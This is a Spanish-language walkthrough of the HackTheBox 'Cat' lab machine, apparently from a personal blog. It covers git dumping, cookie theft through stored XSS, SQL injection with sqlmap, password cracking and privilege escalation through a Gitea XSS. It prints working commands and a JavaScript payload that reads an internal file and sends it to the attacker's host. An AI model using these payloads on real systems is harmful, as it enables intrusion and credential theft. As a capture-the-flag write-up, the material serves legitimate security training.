Cat - Hackthebox - Season7
Cat - Hackthebox - Season7 - Guía en español
Escaneo de puertos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
nmap -p- --open -sV -sC -T4 -Pn 10.10.11.53
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-07 21:47 CET
Nmap scan report for cat.htb (10.10.11.53)
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
| 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Best Cat Competition
| http-git:
| 10.10.11.53:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Cat v1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.33 seconds
Vemos puerto 22 ssh abierto y puerto 80 http abierto.
Puerto 80 http
Vemos una web con un formulario de registro. La web parece de ir sobre un concurso de best cats.
Podemos registrarnos, iniciar sesión y subir un gato al concurso y esperar a ver si nos aceptan.
Podríamos intentar subir algun archivo php pero tenemos otra opción más inesperada.
Si nos fijamos en el escaneo de puertos, nmap nos indica que ha encontrado un repositorio git, si navegamos a cat.htb/.git nos indica que no tenemos acceso a ese directorio.
Git dump
1
python3 git_dumper.py http://cat.htb/.git/ ./cat.htb
Dentro del directorio cat.htb tenemos toda la estructura de la web.
Analizando el código fuente
admin.php
Vemos como verifica si el usuario que accede a admin.php es “axel” o no. Ya tenemos el nombre de usuario administrador de la web.
config.php
En config vemos que existe una base de datos sqlite en /databases/cat.db
contest.php
En contest.php parece manejar la logica para añadir un nuevo gato al concurso. Lo más interesante puede ser el manejo de la subida de la imagen o los datos del gato pero parece que están bien controlados.
accept_cat.php
Tras un rato dando vueltas por los archivos encontramos un documento php llamado accept_cat.php que parece tener un parámetro no sanitizado que se sube a la base de datos.
Si intentamos acceder a este archivo directamente, nos da un error de autenticación, por lo que habrá que conseguir alguna forma de acceder a este archivo.
Acceso a admin.php
Tras un rato investigando las redirecciones y los accesos entre ficheros podemos llegar a la conclusión de que en el panel de admin parecen listarse las solicitudes de subir gatos.
Estas solicitudes pueden aceptarse o rechazarse además de ver los datos del gato que se está subiendo.
Como ya hemos visto el documento que nos interesa es accept_cat.php pero no es accesible por lo que vamos a ver que podemos encontrar en view_cat.php.
view_cat.php
De nuevo revisando el código vemos que el único parámetro que podemos controlar es nuestro nombre de usuario. Los datos del gato son filtrados en el código pero el nombre de usuario no lo es.
Robo de sesión
Como el documento carga el nombre de usuario en con los datos de gato, podemos crear un usuario con un XSS que nos devuelva la cookie de sesión y luego podemos usar esta cookie para acceder a la web como “axel”.
Ahora iniciamos sesión con ese usuario y registramos un gato.
Ahora en el navegador podemos modificar las cookies para tener acceso al admin.php.
Ahora vamos podemos acceder al panel admin.php pero no vemos ninguna petición de aceptar gato, debemos volver a subir un gato.
Bien, ahora necesitamos capturar el paquete de la petición a accept_cat.php y guardarlo en un fichero, lo haremos con Burp Suite.
Interceptamos la petción al darle aceptar al gato y guardamos el paquete en un fichero.
Dump de la base de datos
Ahora vamos a utilizar esa cookie para poder hacer un dump de la base de datos.
Usamos SQLmap para hacer el dump.
1
sqlmap -r aceptargatos --risk 3 --level 5 --batch --dbms=sqlite --dump --threads 10 -T users --dump
Este comando realiza un escaneo de inyección SQL en los parámetros de la petición. Como ya vimos que era potencialmente vulnerable a inyección SQL, indicamos el tipo de riesgo, nivel, tipo de la base de datos, el número de hilos a utilizar, la tabla que queremos extraer y que haga un dump.
Esto va a tardar un rato pero una vez lo tengamos podemos empezar a crackear contraseñas.
Son MD5 por lo que no es muy dificil, usando jhon y rockyou no tardará mucho.
Cracking de contraseñas
1
john aceptargatos.txt --wordlist=/usr/share/wordlists/rockyou.txt
Cuando tengamos las contraseñas podemos probar si alguna tiene acceso por ssh a cat.htb.
Acceso a cat.htb
Efectivamente un usuario “rosa” tiene acceso a cat.htb por ssh.
1
ssh rosa@cat.htb
Una vez dentro podemos indagar un poco por los directorios y ver que existen tres usuarios; axel, rosa y jobert. No tenemos acceso.
En mi caso descargué linpeas y lo ejecuté, encontrando ciertos patrones en los archivos de configuración apache que contenían contraseñas.
Hice un filtrado del contenido de access.log en apache y encontré la contraseña de axel.
User flag
Accedemos por ssh a cat.htb con el usuario axel y la contraseña que encontramos para encontrar el user flag.
Como vemos no tiene tampoco permisos para acceder a jobert.
Escalado de privilegios
Buscando por los servicios internos encontramos varios interesantes.
Para ver exactamente que són podemos redireccionarlos mediante ssh.
1
ssh -L 3000:localhost:3000 25:localhost:25 axel@cat.htb
EL puerto 3000 parece ser gitTea y el puerto 25 es un servidor de correo.
Vemos la versión 1.22.0 de gitTea.
Buscando por exploits encontramos un exploit, claro
Se trata de un ataque sencillo de XSS en la descripción del repositorio git, en la web se explica exactamente como hacerlo.
Antes de nada, vamos a acceder como Axel a gittea, la contraseña es la misma que la que encontramos en el access.log.
Exploit
Creamos el repositorio git con un documento vacío.
y le añadimos de description un payload XSS.
1
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.16.67/?response=' + encodeURIComponent(data))).catch(error => console.error('Error:', error));">more</a>
Haciendo uso del servidor de correo vamos a enviar mail a jobert@cat.htb con el payload.
1
❯ swaks --to "jobert@localhost" --from "axel@localhost" --header "Subject: click link" --body "http://localhost:3000/axel/gold" --server localhost --port 25 --timeout 30s
Usando swaks podemos enviar mails desde el servidor de correo redireccionado al puerto 25.
Ahora a la espera de la respuesta en nuestro puerto 80.
Tenemos regalo.
Descifrando el regalo
La respuesta que tenemos no es otra que el acceso del usuario jobert, administrador del servidor de correo al portal de empleados php.
Es tan sencillo como copiar la respuesta y hacerle un decode de URL.
Ahora con estas crendecias podemos acceder como root desde el usuario axel.